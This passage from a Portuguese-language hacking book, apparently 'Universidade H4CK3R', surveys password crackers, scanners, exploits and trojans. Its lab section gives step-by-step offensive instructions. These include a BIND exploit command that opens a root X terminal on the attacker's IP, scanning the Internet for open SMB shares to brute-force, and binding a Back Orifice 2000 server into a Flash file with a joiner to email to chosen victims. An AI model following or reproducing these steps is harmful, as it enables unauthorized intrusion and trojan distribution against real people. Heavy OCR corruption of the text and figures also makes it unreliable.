permisso de leitura apenas para o root. No /etc/passwd, no lugar da senha,
temos um "*,, ou "x" para indicar que a senha est no arquivo shadow. Esta tcnica sozinha torna impossvel conseguir, como usurio normal, as senhas de outros usurios. E, como sabemos, na maioria dos ataques temos de conseguir
acesso restrito primeiro para depois tentar acesso irrestrito. Um nico expediente coloca dois nveis de dificuldade a mais no caminho do cracker.
O quebrador de senha mais conhecido para a famlia WinNT o LOphtCrack,
uma ferramenta de uso muito fcil e capaz de quebrar os fracos hashes do
Windows em pouco tempo. Atualmente est disponvel apenas em verso comercial custando US$ 350, mas pode-se conseguir o cdigo-fonte de uma ver140

Vulnerabilidades I [

Universidade 1ano

so mais antiga no endereo www.atstake.com/research/1c/download.html.


Para
Unix, a vedete o fabuloso JoOOthe Ripper. O software capaz de quebrar, com
alguma ajuda da engenharia social, as senhas dos arquivos passwd e shadow (se
o cracker conseguir acesso a eles) e, em conjuno com ferramentas de
conectividade, pode capturar senhas criptografadas que trafegam em uma rede.
Alm de Unix, h verses do programa para DOS, Win32, BeOS e OpenVMS e
checagem de Kerberos AFSe pseudo-hashes LM do Windows NT!2k!XP.O JoOO
the Ripper est disponvel em www.openwall.com/joOO/.
O leitor deve ter notado que no mencionamos a famlia Win9x nesta seo
sobre senhas. O motivo bem simples: no h segurana nesse ambiente. As
senhas so gravadas em arquivos com o nome do usurio e a extenso PWL.
Deve ser relativamente fcil quebrar as senhas embaralhadas nesses arquivos
(recusamo-nos a usar a palavra "criptografadas" aqui), mas no h necessidade de tanto: basta apagar os arquivos e o Windows alegremente pede novas
senhas... Entretanto, como os arquivos PWL podem guardar (e normalmente o
fazem) a mesma senha da rede. quebr-Ios pode ser bem til! H milhares de
quebradores de PEL no packetstormsecurity.nl.

Scanners
Scanners so programas utilizados para varrer os computadores em uma rede
procura de vulnerabilidades. H portas abertas a ataques tanto em mquinas
pessoais quanto em servidores de todos os tamanhos. Os scanners buscam sistemas que estejam desprotegidos e prontos para receber uma anlise minuciosa
sobre sua segurana. A maioria dos scanners no foi desenvolvida com inteno
de uso maligno. Mas como a rosa bonita e perfumada tambm possui espinhos,
so utilizados pelos dois lados: os hackers os utilizam para o ataque, enquanto os
administradores procuram as brechas para fazer as devidas correes.
Existem scanners especficos, desenvolvidos por empresas, que do nfase
segurana e que geralmente custam caro. Como um cracker no respeita nada,
fatalmente tais scanners cairo em suas mos. Outros so criados por hackers
mais experientes. Enquanto a vulnerabilidade que esses scanners exploram for
segredo de cls, poucos tero acesso a eles. Depois que ficam obsoletos, so
postos na rede para que os script kiddies possam fazer uso. Por isso, bom
lembrar que scanners encontrados facilmente na Internet podem no ser mais
to eficientes ou so mesmo completamente inteis.
Podemos dividir os scanners em dois tipos: o scanner de portas TCPjIP abertas (ou portscanner) e o scanner de vulnerabilidades conhecidas.

Portscanners
Toda mquina com conectividade TCPjIP possui, em teoria, mais de 128 mil
pontos vulnerveis. Cada servio de rede que estiver disponvel em uma determinada mquina uma porta de entrada em potencial - como vimos no captu1141

] Vulnerabilidades

I Universidade

H4CK3R ,

10 sobre Unix. Em Redes I, aprendemos que cada um desses servios "escuta" a


rede por meio de uma porta representada por um nmero, espera de conexes. Como so 65.536 portas para o protocolo TDP e 65.536 portas para o
protocolo UDp, temos a uma verdadeira legio de hidras. Por exemplo, se a
mquina for um servidor Web, bem provvel que a porta TCP 80 esteja aberta,
para que outros computadores possam acessar as pginas HTML. Outro exemplo: uma mquina Windows que esteja com o compartilhamento ("share") de
arquivos ligado "escuta" as portas 137, 139 e 455 espera de outras mquinas
Windows que queiram ler os arquivos compartilhados. Esses nmeros esto
normatizados na RFC17004.
Os portscanners verificam as portas TCP/lP abertas de um sistema. Seu objetivo
listar os servios de rede TCP/lP disponveis, fazendo com que respondam quando consultados. Com os resultados fornecidos pelo portscanner e o conhecimento
da RFC1700, o hacker pode determinar quais servios esto dando sopa e aplicar
neles os exploits pertinentes. Existem tambm os stealth port scanners, que utilizam tcnicas de no-conexo ou conexo incompleta para no serem detectados nem sempre com sucesso - como se tivessem um sistema de camuflagem. Os administradores tm de utilizar ferramentas especficas para detect-los.
Quase todas as tcnicas de portscanning valem-se dos sinais (ou flags) TCp,
UDP ou ICMP trocados entre os programas que querem se conectar. Apenas
para referncia rpida, os sinais so estes:

PSH (push)
Um tipo de "vlvula de descarga", acelera a transmisso para poder finaliz-Ia
SYN (synchronize)
Tentativa de sincronizao entre portas
ACK(acknowledge) - Indica que os pacotes anteriores foram aceitos no destino
RST (reset) - Interrompe a conexo,devido aerros ou "queda de linha"
FIN (finish) - Finalizadorde conexo, usado no fim da transmisso (no h mais dados)
URG (urgent)

- Sinalizador de urgnda

A partir da anlise desses sinais, os scanners retiram informaes teis sobre


os sistemas e os comparam com padres predefinidos. O resultado disso
passado para o hacker, que interpreta os resultados baseado em sua experincia e conhecimento e decide quais exploits usar. Escovaremos mais bits
sobre hadshakeTCP/lP e funcionamento de scanners nos captulos seguintes.
Se tudo at aqui lhe pareceu confuso, no prossiga. Releia o captulo Redes I,
e alguns dos tutoriais sobre TCP/lP includos no CD. Recomendamos ainda os
excelentes livros de Andrew Tannembaum e do Prof. Gabriel Torres, Redes de
Computadores. Apesar do mesmo nome, so dois livros diferentes. A Internet
tambm est cheia de tutoriais sobre TCP/lP. Use seu mecanismo de busca favorito e divirta-se!
4 Request for Comments so documentos com recomendaes para implementao de servios e
normas para a Internet e redes em geral. Todos eles podem ser consultados em www.ietforv./rfc.html.
1142

1
Vulnerabilidades

Ir

Universidade

1ano

Funcionamento de um scanner de portas


Existem centenas de scanners de portas espalhados pela Internet. Em primeiro lugar, devemos escolher a plataforma na qual vamos trabalhar, Unix (incluindo a Linux) ou Windows. Grande parte dos iniciantes prefere a segunda opo,
pois a maioria das ferramentas so mais fceis de trabalhar. Depois de "brincar"
um pouco com esses scanners e verificar seu modus operandi, podemos passar
a usar scanners mais complexos e poderosos.
Uma das opes dos bons programas de scan a possibilidadede definir um rangeou
faixa de IPs a serem verificados.Por exemplo, poderamos varrer os endereos entre
192.168.1.1e 192.168.1.10- dez mquinas em uma rede privada - ou entre 64.x.x.l e
64.y.y.254- 252 mquinas na Internet pblica.Observe que em qualquer faixa de endereo poderemos encontrar computadores pessoais,estaes de trabalho ou servidores.
Omitimos x.x e y.y dos endereos do exemplo para proteger os inocentes. ;-)
Lembrando que IPs internos como os de grandes empresas no podem ser
atacados diretamente pela Internet. Seria necessrio passar primeiro pelo
gateway, pelo firewall, conseguir um shell em alguma mquina que possua
interfaces de rede tanto na Internet quanto na rede interna e mapear a rede
interna at chegar mquina desejada - o que no nada fcil, por enquanto...
No caso de um endereo diretamente conectado Internet, necessrio fazer uma escolha das portas mais comumente vulnerveis. Aps definir o range
dos IPs, podemos, ao nosso gosto, definir quais portas vamos testar e quais
mtodos usaremos nelas. Restringir o nmero de portas uma atitude sbia,
pois, se voc escanear TODAS as portas, seguramente ser detectado por um
administrador atento (ou um IDS). Comece com os servios mais comuns, nos
quais voc pode ser confundido com o trfego normal. Nossas sugestes so as
conhecidas portas 21 (Telnet), 25 (Mail), 53 (DNS),80 (Web) e 139/445 (SMB/
CIFS).Para fins didticos, consideremos escanear as portas. Depois de configurado, basta colocar o programa para rodar e veremos o seguinte resultado:
Address : 192.168.1.12
Port 21... Listening
Port 22 ... Listening
Port 25 ... Listening
Port 110 ... Listening

As portas 21,22,25 e 110 podem estar abertas para uma possvel invaso,
podem estar sob a vigilncia de um administrador e podem realmente ser seguras. A porta 110 oferece o servio POP3. por onde voc se conecta para
baixar seus e-mails. Ora, essa porta TEM de estar aberta (nos servidores de email, obviamente), de outra forma ningum poderia ler correspondncia eletrnica. Portas abertas no so sinnimo de insegurana. O problema so as portas
aberta, cujos programas que as "escutam" possuem falhas de segurana.
1143
I

Vulnerabilidades

I Universidade

H4CK3R I

o portscanner

mais conhecido da face da terra o nmap (www.insecure.org/


nmapf). Desenvolvido originalmente para Unix, possui verses para muitos
sistemas operacionais, incluindo o Windows. Concebido para a linha de comando, possui diversos frontends grficos, como o NmapWin para Windows
(www.nmapwin.org) e o nmapfe para Unix (incluso no pacote do nmap). Extremamente flexvel e poderoso, o nmap e vrios de seus frontends para
Windows, Unix e Mac esto includos no CD.

Scanner de vulnerabilidade
Ns utilizamos os portscans para verificar os servios ativos em um dado sistema. Uma vez determinados esses servios, entra em cena um outro tipo de
scanner: o de vulnerabilidades. Basicamente, a idia do scanner de vulnerabilidade
, atravs de uma lista de falhas conhecidas, checar se o sistema est ou no
executando um servio com problemas. Estes scanners facilitam sobremaneira
o trabalho do invasor, automatizando o processo de conexo a cada um dos
servios listados pelo portscan e a verificao de fraquezas. Sendo automtico,
poupa ao invasor dias de trabalho, pois pode checar sozinho dezenas ou mesmo
centenas de vulnerabilidades sem a interveno do black-hat.
Um bom scanner de vulnerabilidade deve verificar os seguintes itens:
~ Erros comuns de configurao: administradores de sistema inaptos e
usurios leigos deixam, por incompetncia, vrias portas abertas e fraquezas
desprotegidas em seus sistemas.
~ Configuraes e senhas-padro: no h nada de que um hacker goste
mais do que um administrador de sistemas que instala softwares e os deixa
com as configuraes de fbrica. Ri-se de babar ao perceber servidores com
usurios e senhas-padro (do tipo usurio: root senha:root ou usurio:admin
senha:master) ou com diversos servios inseguros desnecessariamente ativados.
~ Combinaes bvias de usurio e senha: outro problema so as senhas
bvias. Usurios comuns j possuem a tendncia de colocar uma senha fcil de
lembrar (o nome da esposa, por exemplo). A situao piora quando usam combinaes de nomes notoriamente pblicos. Exemplos de pares usurio/senha
fracos: fabio/junior, wanderley!luxemburgo, alice/cooper, carla/perez, george/
walkerbush. Outro problema so senhas de palavras do dicionrio: h
quebradores de senha com listas de palavras comuns. Um estudo feito em 1998
por uma empresa norte-americana mostrou que 82% dos funcionrios utilizavam, como senha, alguma posio sexual ou o nome do chefe modificado de
forma pejorativa.
~ Vulnerabilidades
divulgadas: sempre que uma falha de segurana
divulgada, h uma corrida dos desenvolvedores de software para san-Ias. Mas
tambm h uma outra competio: a dos hackers que querem chegar aos sistemas vulnerveis antes de serem consertados.
Um scanner de vulnerabilidades pode, por exemplo, descobrir que sua verso
11441
Vulnerabilidades I [

Universidade 1 ano

do servidor de SMTPsendmail muito antiga e possui o famoso sendmail-bug.


Ou que voc ainda est usando o MSN Messenger 4.6 e, portanto, emprega
controles ActiveX vulnerveis. Ambas so falhas muito antigas, mas - quem se
importa? - se voc no deu ateno aos conselhos de seu guru de segurana
favorito e no atualizou seus sistemas, o problema todo seu. Esses so apenas
dois exemplos das centenas de testes que um nico scanner de vulnerabilidades
pode fazer por voc. Scanners mais modernos j incluem, em um mesmo
software, portscans, vulnscans e mapeamento de redes. Um exemplo disso o
excelente Nessus (www.nessus.org). que ser abordado nos captulos finais.

Exploits
Exploits so scripts e programas designados
para explorao
de
vulnerabilidades em sistemas. Assim como os scanners, eles podem ser usados
tanto por administradores para testar as falhas de segurana em seus servidores
quanto pelos hackers que os utilizam para invaso e aquisio de informaes.
H vrios tipos de exploits e cada um possui uma forma diversa de aplicao.
Para alguns deles o hacker precisa ter acesso ao Shell da mquina-alvo. Isso
pode ser conseguido por meio de um cavalo de tria executado pela vtima em
seu sistema. Tal trojan abre uma porta de comunicao (sim, uma porta TCP/lP,
com nmero determinado e um protocolo) e permite que o invasor tenha total
controle sobre a mquina, o que inclui instalao de programas e, portanto, a
aplicao de qualquer exploit. Note que, neste caso, j houve uma pequena
invaso: o exploit permite quebrar outros nveis de segurana e, assim, obter um
acesso mais profundo.
Outros exploits servem justamente para conseguir o acesso a um shell e podem ser aplicados atravs de um site que contenha um cdigo malicioso escondido. E-mails em formato HTMLtambm so vetores desse tipo de cdigo. Normalmente, o que esses exploits fazem gerar um estouro de pilha (buffer
overflow) e, com isso, confundir a mquina-alvo, fazendo-a abortar o programa em execuo e devolver uma linha de comando. E, por ora, basta saber que
todos os programas possuem uma rea de memria (ou buffer) para trocar
dados com outros programas ou para interagir com o usurio. Essa rea de
memria tem um tamanho limitado, e programas mal escritos comportam-se
de forma estranha toda vez que o buffer fica cheio. O prximo dado que
tentar entrar no buffer e no conseguir gerar instabilidades no programa e
poder paralis-Io.
Um exemplo prtico: descobre-se no endereo vitima.com.br (ateno lammers:
o endereo fictcio) um sistema Unix rodando uma verso vulnervel do BIND,
um servidor de DNS. Um exploit para essa verso de BIND chamado bindxplt
encontrado no site Rootshell, que permite a execuo de comandos arbitrrios
pelo daemon no caractere seguinte ao ltimo que cabia no buffer. Lembrando que
ele s roda com privilgios de root, executa-se, na mquina do hacker, o comando:
1145
1

Vulnerabilidades

I Universidade

H4CK3R

$ bindxplt vitima.com.br u/usr/XIIR6/bin/xterm -display


200.xxx.yyy.6:0u

Como por mgica, uma janela de X-Terminal se abre na mquina do hacker,


que possui o IP 200.xxx.yyy.6. Dentro dessa janela, o prompt de root da mquina vitima.com.br. a glria!
H milhares de exploits que podem ser utilizados. Poderamos citar alguns
aqui, mas a quantidade realmente assustadora. Sugerimos parar a leitura do
livro neste ponto e navegar por cada um dos sites citados abaixo. Tome conhecimento de como cada site funciona, baixe alguns exploits de cada um e tente
aplic-Ios em sistemas vulnerveis.

www.cert.org
www.insecure.org
www.rootshell.com
www.securityfocus.com
www.packetstormsecurity.org
www.linuxsecurity.com
www.linuxsecurity.com.br

www.hackersplayground.org
www.ntsecurity.nu
www.antionline.com
www.digitalsin.net/cyn/sinfinite
www.cexx.org
www.hackinthebox.org
astalavista. box. sk

Em Tria, como os gregos...


Uma vez com acesso linha de comando na mquina invadida, uma das primeiras providncias do black-hat instalar um backdoor. Por meio dele, o hacker
pode entrar e sair do computador invadido sempre que quiser. Mas para instalar
a tal porta de trs, a mquina precisa ser primeiro invadida. Muitos acham que
isso d trabalho demais.
Alguns espertos pensaram: por que no fazer os prprios losers facilitarem o
nosso trabalho? Bem, voc j tem o cho frtil para o nascimento dos primeiros
cavalos de tria. Os trojans, como so comumente chamados, so programas
executveis que controlam todas as partes do computador e comunicam-se com
o mundo exterior. Um hacker conecta-se ao trojan por meio de um backdoor
embutido e pode controlar a distncia a mquina invadida. Em 1998, mais de 250
tipos de trojans conhecidos j estavam atuando nos micros dos mais desavisados,
e desde ento, esse nmero cresceu monstruosamente, chegando a 580 em 2000.
Hoje em dia, toma-se difcil encontrar um nmero fiel, e mesmo os nmeros
apresentados indicam apenas os trojans encontrados e catalogados. Muitos ainda devem andar por a com trojans to antigos quanto indetectveis...

146

Vulnerabilidades I [

Universidade 1 ano

A difuso desse tipo de programa d-se por contgio. Os trojans, em sua maioria,
so desenvolvidos e distribudos como vrus, anexados em mensagens de e-mail
ou em disquetes promscuos, e muitas vezes so escondidos em arquivos inocentes, como imagens, apresentaes em Flash e joguinhos. Depois que a prpria vtima instalou o trojan, o computador infectado comea a funcionar como
um servidor. Se h um servidor, h um cliente para se conectar, que est em
poder do hacker.A conexo praticamente imperceptvel para o usurio leigo,
que, ao se conectar Internet, est sujeito ao ataque.
Dois dos trojans mais prticos da atualidade so o Netbus e o Back Orifice.
Ambos ocupam pouco espao em disco (o BO tem apenas 120 KB) e podem
passar despercebidos, pois h a possibilidade de camuflar o executvel escondendo-o em outro programa ou arquivo. Aps a instalao, o trojan apaga seus
rastros e torna-se ativo, aguardando apenas que algum se conecte ao computador infectado. Como qualquer outro trojan, o BO e o Netbus so constitudos de
dois arquivos: o cliente e o servidor. Um dos principais problemas de ambos
que os servidores esto restritos famlia Windows 9.x, embora existam clientes
BO para Windows e Unix.
Entre as funes comuns a ambos, podemos destacar:
~ Fornecer um shell para o cliente com acesso irrestrito;
~ Controlar todos os dispositivos de hardware da mquina;
~ Gravar uma imagem da tela do computador invadido;
~ Fazer exames da rede, podendo obter senhas e outras informaes;
~ Gravar um arquivo contendo informaes sobre tudo que foi teclado no micro;
~ Possibilitar a abertura de janelas DOS remotamente.
O BO e o Netbus so dois trojans muito visados. Todos os antivrus consideram-nos como ameaa e impedem que sejam instalados no computador-destino. Alis, um bom programa antivtrUs barra mais de 90% dos trojans conhecidos. Obviamente h muitos outros por a que nunca conhecero outro mestre
alm de seu criador e, portanto, sero imunes maioria dos antivrus. Todo
cuidado nesses casos pouco.
Ambos esto includos no CD, e recomendamos que nossa rede simples (Laboratrio de Redes I) seja usada para test-Ios. Leia a documentao de ambos,
familiarize-se com eles e tente controlar outras mquinas.
A criao de bons scanners e exploits demanda conhecimentos em programao e TCP/IP.Para consegui-Ios, a anlise de cdigos alheios um bom ponto de
partida. Nos CDs, h diversos exemplos em cdigo-fonte de scanners, exploits
e cavalos de tria. Dessenferruje seus conhecimentos em Delphy /Kylix, PerI ou
C/C++ e v em frente. No perodo de dois ou trs meses ser possvel escrever
seu prprio scanner em sua linguagem favorita.

11471

] Vulnerabilidades

I Universidade

H4CK3R I

As falhas de segurana mais comuns em


micros domsticos
Apesar de no ser o alvo preferido dos hackers, os micros domsticos so
timos como rea de treino para aqueles que querem adentrar no universo das
invases. Geralmente, os usurios domsticos utilizam alguma verso do sistema
operacional Wmdows, uma verdadeira orgia de falhas para aplicar exploits e testar trojans. Mesmo os usurios de outros sistemas pessoais, como linux, FreeBSD
ou MacOS (e do Wmdows 2000, que relativamente seguro se comparado ao 98),
no escapam desses tipos de ataque, pois nem sempre dominam totalmente as
caractersticas e opes de segurana que esses sistemas operacionais oferecem.
Apresentaremos aqui apenas algumas delas. H muitos exploits nos CDs que
podem e devem ser experimentados, e as novidades em termos de falhas saem
fresquinhas diariamente nos sites especializados. Para um melhor estudo, interessante preparar uma mquina para ser "cobaia" e lig-Iaem rede com sua estao de
trabalho, de onde os ataques sero originados. Instale diversos sistemas operacionais
(Win98/Me/2k/XP, linux e FreeBSD - um por vez ou todos em multi-boot, a seu
gosto) e mande brasa! Note que algumas falhas nem precisam de exploits...

TCP SYN Scanning versus Windows 95


Uma falha gritante presente no Windows 95 (mas aparentemente no no 98
nem no Me) a incapacidade de lidar com pacotes SYN.Como veremos no captulo Redes 11,numa conexo TCP/lP de verdade h trs hadshakes bsicos. Quem
pede a conexo manda um pacote SYN,quem aceita a conexo manda um SYN/
ACK e fica esperando um pacote ACK do sistema que solicitou a conexo.
Um portscan tipo TCP SYN nunca enviar o pacote ACK em resposta a SYN/
ACK do Windows. Isso far com que o Windows 95 congele por alguns instantes enquanto espera o pacote. Caso seja feito um flood (envio de um grande
nmero de pacotes simultneos) SYN, a pilha TCP/lP do Windows trava e
apresentada a famosa "Tela Azul da Morte" (Blue Screen of Death ou BSoD).
Experimente faz-Iocom o nrnap/nrnapWin em sua mquina de trabalho, apontando para o IP da mquina "cobaia"e rodando o scan com a opo SYNStealth ligada.

Compartilhamentos em computadores Windows


(SMB/CIFS)
A configurao incorreta do protocolo conhecido como Common Internet File
System (CIFS - anteriormente conhecido como 5MBou Server Message Blocks),
que permite o compartilhamento de arquivos atravs de redes, pode expor arquivos crticos do sistema ou at mesmo permitir acesso completo do sistema.

148

Vulnerabilidades I [

Universidade 1 ano

Usurios corporativos costumam compartilhar seus sistemas de arquivos em


sua rede. Ingnuos, ativam essa opo tambm em casa, esquecendo-se de que
esto diretamente conectados Internet. Com isso, abrem as portas para que
os hackers faam o que bem quiserem com seus arquivos. Uma conexo denominada "null session" (sem usurio e senha) pode pr em risco informaes
pertinentes ao sistema e chaves de registro.
Scanners de vulnerabilidades (como o j citado Nessus) normalmente procuram por diversas portas, incluindo as portas 135 (TCP e UDP), 137 (UDP), 138
(UDP), 139 (TCP) e 445 (TCP e UDP). Caso pelo menos duas destas portas
estejam (ou aparentem estar) ativas, o computador apresenta-se vulnervel
conexo por compartilhamento.
O procedimento bem simples. Primeiro, use o Nessus para procurar, na
Internet, mquinas com essas portas abertas. Anote todas que encontrar. No
Windows, chame o Internet Explorer e coloque o nmero IP da mquina vulnervel, no formato LAN Manager: \\IP.DA.VTIMA.AQUI.Se no houver senha, os
compartilhamentos sero mostrados - basta c1icar neles. Caso haja, um bom
quebrador de senhas por brute force dar conta do recado.

J171:3
~!iona:;'

Caso esteja em uma mquina Linux, podem-se usar os comandos


samba-c1ients para tentar a conexo, da seguinte forma:

do pacote

$ smbclient -L IP.DA.VTIMA.AQUI
Provavelmente sero pedidas senhas para mostrar os compartilhamentos.
Novamente deve-se recorrer aos quebradores brute force para descobrir as senhas.

11491
I

Vulnerabilidades

I Universidade

H4CK3R I

Se a interface grfica KDE 3 estiver disponvel, pode-se usar o Konqueror. Escreva na barra de endereos o IP da vtima da seguinte forma: smb:/ /
IP.DA.VTIMA.AQUI/.
OS compartilhamentos devem ser exibidos.
Uma curiosidade sobre esse
IJiJIIilIiI
furo de segurana que originalli!
mente ele no existia! O ProtocoJ
lo NetBEUI (antecessor do 5MB/
CIFS) permitia
o compartilhamento de arquivos nas redes
LAN Manager, Windows for
I/oc jUeasa fornece!
Workgroups e nos primeiros
um usurio e uma
I!I!n".
Wmdows NT.S que o NetBEUI
no era rotevel e, portanto, era
impossvel que grandes redes IP
[mbert<>
tivessem conectividade total por
Senha;
meio dele. Para resolver isso, a
Microsoft estendeu a imp1ementao do NetBEUI. Batizada
de 5MB, a nova tecnologia permitia o "empacotamento" dos
pacotes NetBEUI no protocolo
TCP/IP.A conexo entre as mquinas era feita pelas portas 137 e 139.
Entretanto, "tunelar" o NetBEUI pelo IP permitia que o pacote fosse rotevel
no s pela rede corporativa mas tambm pela Internet. Nesses casos, h duas
opes para as empresas: isolar completamente a rede interna da Internet ou
no compartilhar nada, nunca. J os usurios domsticos normalmente no tm
o que compartilhar (pois no pertencem a rede alguma) e devem manter esse
recurso desligado.
,1713iR<>bet1!

f\ume

dI> 1tW<\1iU:

Servios desnecessariamente ligados


o Unix nunca foi pensado para ser um sistema operacional domstico. Costuma-se dizer que ele foi criado "por programadores, para programadores". Depois, foi adotado como sistema operacional ideal para servidores e, para isso, foi
recheado com diversos programas e servios especficos de servidor.
Atualmente, o Linux e o FreeBSD esto sendo usados numa escala maior como
SOs em estaes de trabalho e micros domsticos. Mas ainda assim so preparados para ser servidores, uma vez que a maioria das distribuidoras monta suas
caixinhas com produtos "polivalentes" em vez de especializados. Um usurio
domstico talvez nunca precise de um sendmail ou um apache rodando em sua
mquina, mas ainda assim os tem.
O interessante que nem preciso explorar falhas de software como estou-

150

Vulnerabilidades

Ir

Universidade 1 ano

ro de pilha ou programas comuns com poderes de root. Imagine uma estao


de trabalho Linux com os servios de Finger, FTP e Telnet habilitados. O usurio
no precisa deles - porque a mquina dele nem um servidor - e sequer sabe
que os servios esto ativados. Com o comando fmger, um hacker obtm a lista
de usurios cadastrados no sistema. De posse dos nomes de login por brute
force ou dicionrios, consegue entrar em uma conta de Telnet e, uma vez dentro, pode explorar o sistema vontade.
A correo para esta falha simples: desligue tudo o que no for usar.

Buffer OverfLownos servios de Remote Procedure CaLL


Ainda sobre Unix, alguns servios utilizam-se das RPCs, que so, simplificando
a explicao, como se fosse syscalls executadas em outro computador. Por
exemplo, uma mquina Unix utiliza-se do RPC para aplicar o servio de Network
File System (NFS) oferecido por outra mquina Unix.
H falhas em implementaes de RPC que permitem que programas sejam executados no micro invadido a partir de um outro computador remoto. Existem
evidncias de sua utilizao nos ataques DDoS que ocorreram no ano de 1999.

Laboratrio de
Vulnerabilidades

A principal finalidade dos laboratrios a prtica de alguns procedimentos considerados essenciais para a rotina do hacker.Administradores de sistema devem observlos cuidadosamente, pois devem estar sempre atentos s tcnicas usadas em invases.
Nesse primeiro laboratrio, vamos manter nosso foco na invaso de micros
domsticos - sim, sim, coisa de lammer. Mas temos de comear de alguma forma,
no acha? E qual seria a melhor maneira para atingir esse objetivo? A resposta
est entre artimanhas mais antigas conhecidas pelo homem: O Cavalo de Tria!
Exatamente isso! Como na histria, um presente usado como artificio para a
invaso. Vamos utilizar o mtodo clssico de envio de trojans para as vtimas. Na
verdade, precisaremos de trs arquivos para cumprir a tarefa: o servidor, que vai
controlar o computador invadido, um programa joiner (usado para unir arquivos) e o cliente, instalado na mquina do hacker, para controlar o servidor.
Utilizaremos o Back Orifice 2000, a novssima verso de um dos trojans mais
utilizados no mundo. Como j foi comentado anteriormente o programa dividido basicamente em duas partes: cliente e servidor. Para instalar o servidor,
necessrio que a vtima rode o executvel em seu computador sem perceber o
que est fazendo. Mas como isso possvel? Simples, vamos utilizar um pequeno truque de engenharia social: faremos uso da curiosidade. Em nosso exemplo,
uma imagem carregando o servidor do B02k em suas entranhas.
Para camuflar nosso agente, empregaremos o ]oiner, um pequeno programa que

1151 I
1

Vulnerabilidades

I Universidade

H4CK3R I

possibilita a unio de dois arquivos quaisquer. Um deles obrigatoriamente tem de


ser um executvel, que ser aberto antes do segundo. Depois de terminado, o controle passado para o segundo arquivo; se for tambm um binrio ser executado
e, caso seja um arquivo comum, ser aberto no aplicativo correspondente.
Ento, aos troianos! Recomendamos o Back Orifice 2000, um dos mais conhecidos e prticos da Web, mas voc pode escolher entre uma coleo enorme.
Existem trojans para praticamente todas as plataformas!

Configurando o servidor
o servidor do BO precisa ser preparado antes da infeco, pois depende de
plug-ins para cada uma das "maldades" a serem feitas. Outro detalhe: necessrio informar ao programa como se comunicar com o hacker.As opes so: por
e-mail, IRC e mesmo ICQ.
GJ:q.<:1
A configurao simples. Rode o B02K !:B02K Smer ConHgurat;on ..
jij
Configurator. Na tela que se apresenta,
preencha seus dados, a porta na qual o
servidor deve "escutar" e a forma como
ele deve contact-Io para informar que est
on-line. H vrias opes, entre elas ICQ,
IRC e mesmo e-mail. Existe ainda a P ossi- Ia
bilidade de defInir senhas para a conexo,
impedindo assim que outros hackers usem
o seu BO. Nada que um brute force no
resolva, entretanto.

FiI,T""',,
TCPIO
UDPIO
Buili',

A parte mais importante da configu- PluI Na


~
rao do servidor a defInio dos o!!obo_peepdll 0.7 10
B02K RemoleCon,ole Mana,
Remove
I
plug-ins que sero usados. Cada uma
~ E,hac'ToF;le...I
das tarefas bsicas - controle do computador, navegao pelo sistema de
arquivos, captura da imagem da tela e
criptografla na comunicao, entre ou5e,V~ue
tros - de responsabilidade de um plugin especfico. Leiaa documentao (e o tutorial simples e efIcaz incluso no pacote)
para mais detalhes sobre os plug-ins.
J

Juntando

as coisas

Uma vez configurado o servidor, resta-nos unir o arquivo boserve.exe gerado


pelo configurador com o "cavalo" - em nosso caso, uma animao em Flash. Para
tanto, voc deve ativar o ]oiner, que pedir imediatamente o nome do arquivo
executvel (no caso, o servidor) e nossa isca (a animao Flash). Note que h uma
opo caso o usurio queira ser notillcado se algum abrir o arquivo.
1152

1
Vulnerabilidades

I[

Universidade 1ano

Finalizado esse processo, voc obter um arquivo hbrido que poder ser instalado em qualquer mquina. Algo assim:

I@]

~-I@]

~
~

'EEP.WAV

INmWAV
JOINEA1

Iml,"D""m'nl
]9KB

lEI

JOINER.EXE

A grande maioria dos joiners funciona da mesma


I@] ERRORVlAV forma. Alguns apenas em modo texto, mas em geral
as sentenas de operao limitam-se aos seguintes
I@] ICQ.WAV comandos (em DOS):
I@] JOIN.WAV C:\ > joiner (nome do arquivo servidor) (nome
JOINER.2
do arquivo isca)
II'!'I'I '.''1",.,,2
.
WlI 225~8
C:\ > ren join.f1l goggles.exe
Agora s escolher as pessoas que vo receber o servidor e mand-Iopor e-mailscom assuntos inocentes.

Porta dos fundos


Aps receber a confirmao de que o micro rodou o
servidor, hora de utilizar
as funes do cliente. A vantagem do Back Orifice o
seu ambiente grfico capaz
de rodar todos os comandos
sem dificuldade alguma. Entre os recursos do BO, podemos destacar a criao de
diretrios, movimentao de
arquivos e at a possibilidade de reiniciar o sistema.

"""

Agora, s brincar com sua presa.


Happy hacking!

Consideraces finais

E bvio que,
Aconselhamos
"brincar" com
computadores,
tos e descubra

neste captulo, apenas arranhamos a superfcie - e no muito.


a parar a leitura do livro, visitar todos os sites aqui indicados,
todas as ferramentas mostradas e mesmo tentar invadir alguns
sempre com autorizao da vtima. Demore nesses procedimenvoc mesmo os meandros desse labirinto escuro.

1153 I

] Vulnerabilidades

Universidade 2 Ano:
O caminho de um Voyager

Reei

II

Captulo
'Minha terra tem campos de futebol onde cadveres
amanhecem emborcados pra atrapalhar os jogos. Tem
uma pedrinha cor-de-bile que faz 'tuim' na cabea da
gente. Tem tambm muros de bloco (sem pintura,
c/aro, que tinta a maior frescura quando falta mistura/,
onde pousam cacos de vIdropra espantar malaco.
Minha terra tem HK,ARl5, M21, 45 e 38 (na minha terra,
32 uma piada/. As sirenes que aqui apitam, apitam de
repente e sem hora marcada. Elas no so mais as das
fbricas, que fecharam. So mesmo dos cambures,
que vm fazer aleijados, trazer tranqilidade e aflio ':
Quinze cenas

de descobrimento

de Brasis, 1999,
Fernando
Bonassi

I Universidade

H4CK3R I

TCP!IP: O incio
No captulo anterior sobre redes, tratamos dos aspectos mais bsicos e desenvolvemos um breve estudo sobre alguns dos protocolos mais utilizados.
Tal estudo serviu para que pudssemos, posteriormente, conhecer algumas tcnicas e procedimentos simples de invaso e fazer experimentos com algumas
ferramentas. Com o conjunto de informaes dos captulos Redes I e
Vulnerabilidades I, adicionado a um pouco de pesquisa nos sites e livros indicados, qualquer um j pode considerar-se um script kiddie e levar a cabo a maioria dos procedimentos simples de "owning" de computadores domsticos.
Agora a conversa um pouco diferente. Veremos mais adiante (em
Vulnerabilidades 11 e, posteriormente, nos captulos finais) mtodos mais
complexos de ataque a sites, empresas e redes remotas, todos por intermdio
da Internet. Como a Grande Rede baseada na famlia de protocolos TCP/lP
(ou seria o contrrio? O TCP/lP foi criado por causa da Internet, afinal de
contas...), ser ela a vedete desta parte do livro.
Mas seremos "malvados" com o TCP/lP. A maioria dos livros mostra o protocolo de forma acadmica e bem-comportada. Em nossos estudos, veremos como
podemos desfigurar, fraturar e abusar dele: um verdadeiro estupro digital! A
